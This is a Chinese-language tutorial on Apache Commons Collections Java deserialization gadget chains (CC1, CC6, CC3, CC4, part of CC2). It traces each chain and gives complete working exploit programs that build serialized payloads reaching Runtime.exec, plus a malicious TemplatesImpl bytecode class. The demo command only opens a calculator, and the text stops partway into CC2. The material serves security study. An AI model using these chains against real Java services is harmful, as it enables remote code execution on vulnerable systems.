Commons Collections利用链

Commons Collections

背景介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

Collections的包结构和简单介绍:

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

反序列化利用原理

image-20211121153021722

CC1利用链

关键类

为了理解 CC1反序列化利用链,需要先理解 Common Collections 反序列化利用链工具库的几个关键接口和函数。

在 Commons Collections 中有一个 Transformer 接口,其中包含一个 transform 方法,通过实现此接口来达到类型转换的目的。

image-20220329222444638

其中有众多类实现了此接口,CC1 中主要利用到了以下三个。

  1. InvokerTransformer

    其 transform 方法实现了通过反射来调用某方法,可以看到transform方法,接收input对象,然后反射调用,参数全是可以控制的,这个方法特别像是一个后门的写法:

    image-20220329222741960

  2. ConstantTransformer

    其 transform 方法将输入原封不动的返回:

    image-20220329223025215

  3. ChainedTransformer

    其 transform 方法实现了对每个传入的 transformer 都调用其 transform 方法,并将结果作为下一次的输入传递进去:

    image-20220329223151492

利用链 TransformedMap

调用过程

完整的调用过程链如下

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            TransformedMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

首先改写调用exec方法

//正常写法
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
 
//改成反射调用
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getDeclaredMethod("exec", String.class);
exec.invoke(r,"open /System/Applications/Calculator.app");

然后改成InvokerTransformer的写法

Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

然后跟进到transform方法中找看谁调用了transform,可以选择Find Usages进行查找

image-20220329225726789

这里我们可以看到有21个调用,这里最后我们找到Map类,找到LazyMap和TransformedMap都直接调用了transform,先尝试TransformedMap

image-20220329234702987

首先看TransformedMap,valueTransformer调用了transform

image-20220330194534280

然后查看valueTransformer构造函数,由于是由protected修饰的,只能自己调用自己,看谁调用了

image-20220330194804345

找到个静态方法decorate直接调用了TransformedMap,这里就可以直接创建个TransformedMap

image-20220330195209634

因为是要调用valueTransformer的transform,所以只需要给valueTransformer赋值就行

//Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
//Class<Runtime> c = Runtime.class;
//Method execMethod = c.getMethod("exec", String.class);
//execMethod.invoke(r,"calc");

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
//invokerTransformer.transform(value)
TransformedMap.decorate(map,null,invokerTransformer);

然后继续向下找,看谁调用了checkSetValue,发现在MapEntry类,里面调用了setValue然后调用checkSetValue

Entry是一个静态内部类

map遍历时可以使用Entr

这里实际上就是重写了Entry里的setValue

image-20220330200427129

MapEntry继承了AbstractMapEntryDecorator

然后AbstractMapEntryDecorator继承了Map.Entry

image-20220330200506284

image-20220330200517065

所以只要遍历TransformedMap,调用setValue,就会走到MapEntry的setValue里的setValue

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(value)
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

for (Map.Entry entry:transformedMap.entrySet()){
    entry.setValue(r);
}

调用成功

image-20220330201018240

然后继续向下找,看谁调用了setValue,最后是找到AnnotationlnvocationHandler类里的readObject调用了setValue

image-20220330201400435

这里遍历memberValues的值,然后调用了setValue方法

image-20220331211722717

然后在构造函数的参数中可以得知memberValues是可控的,可以放我们想放的值

image-20220331212022485

但是因为类没写是public的,那在Java里面这就是default类型的,也就是说只有在包底下才能访问到,不能直接获取,这样的话那我们就必须用反射去获取

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);

由于Runtime r = Runtime.getRuntime();不能反序列化,必须写成能序列化的形式

  • 正常反射写法

    Class c = Runtime.class;
    Method getRuntimeMethod = c.getMethod("getRuntime", null);
    Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
    Method execMethod = c.getMethod("exec", String.class);
    execMethod.invoke(r, "calc");
    
  • 改写成InvokerTransformer的形式

    Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
    Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    
  • 然后在之前了解到的一个关键的类ChainedTransformer,这个类可以放一个Transformer数组进去然后再进行递归调用,我们可以用这个类进行简写

    Transformer[] transformers=new Transformer[]{
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
    };
    
    Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
    Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);
    

然后这就能得出代码

Transformer[] transformers=new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");

但是执行不成功,经调试可以发现这其中还存在两个问题:

image-20220331224613660

  1. 首先Map<String, Class<?>> memberTypes = annotationType.memberTypes();获取传进来注解中的成员方法
    然后Map.Entry<String, Object> memberValue : memberValues.entrySet()获取到的是我们传进来的Map对象的键值对
    之后的name获取到的是传进来Map对象的key,然后在memberTypes中查找是否存在这个key
    因为我们传进来的注解Override本来就没有成员方法
    image-20220331230418095

    所以也就必然是找不到的,那我们接下来只要找到一个注解有成员方法,然后把map中的key改成成员方法名

    可以看到Target注解有值,我们传入Target,并且把key改为value

    image-20220331230623347

    然后可以看到memberType就已经不为空了,然后也就可以执行到if里面了

    image-20220331230800146

  2. 然后继续往下面走,可以看到这个memberValue.setValue就是我们想要的,但是value的值没法修改

    image-20220331231049384

    这时候就要用到剩下的那个关键的类ConstantTransformer,这里的transform方法,不管接收什么值,都值返回固定的值,那么我们就可以最后调用ConstantTransformer的transform方法即可

    Transformer[] transformers=new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
    };
    

完整利用代码

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
}

代码执行效果如下

image-20220331231843300

利用链 LazyMap

调用过程

完整的调用过程链如下

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

其实LazyMap这一条利用链的后半部分和TransformedMap利用链的是一样的,只是把前面调用transform的TransformedMap换成LazyMap

image-20220401142334463

image-20220401142540488

然后向上找看谁调用了get方法,在AnnotationInvocationHandler中的invoke方法中找到可以利用的get方法,然后调用invoke必须要把它放到一个动态代理里面

image-20220401142932772

在自己这里面就直接放一个map就行了,这里就放LazyMap就行了,LazyMap中有两个decorate方法,我们这里调用传Transformer的这个方法就行了

image-20220401143855391

然后动态代理的写法是一样的

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);

完整利用代码

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
}

代码执行效果如下

image-20220401150444674

CC6利用链

关键类

TiedMapEntry

在TiedMapEntry中的hashCode()函数中的getValue()方法中调用了get()方法,然后我们map用LazyMap就行了,剩下后半部分的就个CC1的LazyMap利用链是一样了

image-20220401171335640

image-20220401171539112

调用过程

完整的调用过程链如下

java.io.ObjectInputStream.readObject()
    java.util.HashSet.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

因为TiedMapEntry是一个public的类所以可以直接new出来,直接传map进去,然后key就先随便填

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

然后就new一个HashMap把他放进去

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");

但是会发现这个在序列化的过程中就会触发,因为在put方法中也调用了hash

image-20220401173651232

所以我们这需要像URLDNS利用链通过反射改其中的值,我们可以先把LazyMap中改为空,然后在put之后再改回来

image-20220401174340615

这样序列化的时候就没有触发了,但是在反序列化的时候也没触发了,这个其实和之前URLDNS利用链是一样原理的,在put的时候就把hash给消耗掉了

image-20220401200300323

在这里之前是没有key的,但是执行完transform之后就把key放进去了,那我们只要把key去掉也就行了

lazyMap.remove("aaa");

完整利用代码

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        //serialize(map2);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
}

代码执行效果如下

image-20220401200606153

CC3利用链

优点

如果说只过滤Runtime的话可以换一种方式执行

利用链 InvokerTransformer

调用过程

与之前CC1和CC6的利用链不同的是:

​ CC1和CC6用的是直接命令调用,CC2、CC3、CC4是通过动态类加载的方式来执行一些自己定制的代码

动态类加载是在defineClass通过字节码的方式进行的类的加载

image-20220401202020403

但是只做类加载的话是不会执行代码的,所以我们还需要一个 初始化的地方,defineClass是一个protected的,所以我们调用他的话需要找到一个重写他然后是public的地方,然后是找到com.sun.org.apache.xalan.internal.xsltc.trax包下存在一个没有标作用域的(default)

image-20220401202658689

然后查看这个的调用,可以看到这里是自己的defineTransletClasses函数里面进行了调用,但是这是一个private的

image-20220401203204732

然后继续找,找到getTransletInstance方法,这里面调用了newInstance,这是初始化的过程

image-20220401203840673

然后继续找这个getTransletInstance的调用,然后找到TemplatesImpl类中的newTransformer这个函数,这是public的

image-20220401204103074

TemplatesImpl这个类继承继承了Serializable,也就是说可以序列化,那么这里面的所有的变量都是可以控制的

image-20220401204510426

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

这样的话执行的逻辑就基本上走完了,但是里面还有很多的值没有赋,那么就跟进一下看要赋那些值

image-20220401204815770

这里的话不赋值应该也是可以直接进入getTransletInstance函数的,所以我们直接跟进函数里面

image-20220401204951694

image-20220401205019622

结合无参构造函数来看,什么也没干,所以我们是要自己赋值的,首先,因为if (_name == null) return null;,所以_name是需要赋值的,然后因为if (_class == null) defineTransletClasses();,而且我们就是要进入defineTransletClasses,所以_class不能赋值,然后进入defineTransletClasses

image-20220401205507615

因为

if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
}

如果_bytecodes 为空的话就直接抛异常了,所以_bytecodes 我们是需要赋值的,然后return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());这里是要_tfactory是要掉方法的,所以这里我们也需要赋值

_name赋值

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");

通过反射调用直接赋值

_bytecodes赋值

首先看这应该赋一个什么样的值

image-20220401211208881

这里可以看出这是一个二维数组,但是类加载的时候实际上传的是一个一维的数组,查看调用可以得知,这里通过了一个for循环将其中每一个进行调用

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);

Test.class

import java.io.IOException;

public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

_tfactory赋值

_tfactory被标记为transient,也就是说不可以序列化的,所以我们现在给他赋值是没有意义的,反序列的时候也是传不进去的

image-20220401211840196

我们先随便给他传一个值,看看效果

image-20220401212509644

这里报了一个空指针异常,这里我们跟进去断点调试一下

image-20220401212644556

_bytecodes这里不是null,我们赋了值

image-20220401212759127

_tfactory这里也不是null,我们赋了值

image-20220401212850800

然后其实类加载也已经成功加载进来了,继续向下调试

image-20220401212953399

最终发现在这个地方_auxClasses为空,这里报了空指针异常,这里我们让他进入到if中

Test.java改写成

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
}

image-20220401214303610这里我们就调用成功了,然后接下来的调用就如同CC1中一样

ransformer[] transformers=new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer", null,null),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);

image-20220401214840138

之后的部分也都的不用改,可以直接用CC1的

完整利用代码

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //templates.newTransformer();

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null,null),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(1);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
}

代码执行效果如下

image-20220401215125787

利用链 TrAXFilter

在之前InvokerTransformer链的基础上,在找到newTransformer之后再找,找到TrAXFilter类,在这个类我们可以看到他的构造函数直接传了一个Templates进去,然后直接调用他的newTransformer,也就是说我们可以调用他的构造函数的话,我们也可以成功的执行代码

image-20220401220611290

关键类

InstantiateTransformer

这就是一个调用构造函数的类

image-20220401221455338

调用过程

将CC3的InvokerTransformer调用链中的

Transformer[] transformers=new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer", null,null),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);

替换成

Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

完整利用代码

public class CC3_TrAXFilter {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(1);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
}

代码执行效果如下

image-20220401222707886

CC4利用链

调用过程

CC4是commons collections4里面的问题,但是和之前基本上没太大的变化,最后的执行代码还是反射调用执行和类加载执行这两种,只是中间的调用链发生点改变

因为问题还是在commons collections里面,我们继续从transform的调用入手,最后我们找到TransformingComparator类,一方面他调用了transform方法,另一方面,它可以序列化,然后它是一个比较常见的方法

image-20220402094044968

在compare(比较器)中进行的调用

image-20220402094320932

然后了解到在PriorityQueue(优先队列)中的readObject在最终的siftDownUsingComparator函数对compare进行了调用

image-20220402094711632

后半部分的调用是一样

TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers=new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer
};

然后就是怎么执行到这里面了

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

serialize(priorityQueue);
unserialize("ser.bin");

但是执行之后无事发生,在PriorityQueue的readObject函数中的heapify方法处下一个断点调试查看问题

image-20220402100118211

然后进入函数,可以看到size为0,而且size >>> 1 ---->0,所以就直接没进入if中的函数

image-20220402100145100

给队列中添加两个值

priorityQueue.add(1);
priorityQueue.add(2);

执行报错

image-20220402100652535

这其实是我们之前老问题,_tfactory在反序列化的时候才会加进来,本地执行的时候并没有进行反序列化,所以报错

Field tfactoryField = tc.getDeclaredField(" ");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

加进来之后就不会报错了,成功弹出计算器

image-20220402100937220

但是我们本意也不是让他在本地执行,所以我们就先将他绕过(先传一个没有意义的值,然后再改回来)

image-20220402101459701

完整利用代码

public class CC4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        //Field tfactoryField = tc.getDeclaredField("_tfactory");
        //tfactoryField.setAccessible(true);
        //tfactoryField.set(templates,new TransformerFactoryImpl());
        //templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
}

代码执行效果如下

image-20220402101648571

CC2利用链

CC2也是commons collections4里面的问题,CC2和CC4之前其实区别不大,之前的入口点和最后执行代码的地方也没有改,CC2是生成TemplatesImpl之后直接调newTransformer执行代码,不走中间实例化的过程

完整利用代码

public class CC2 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
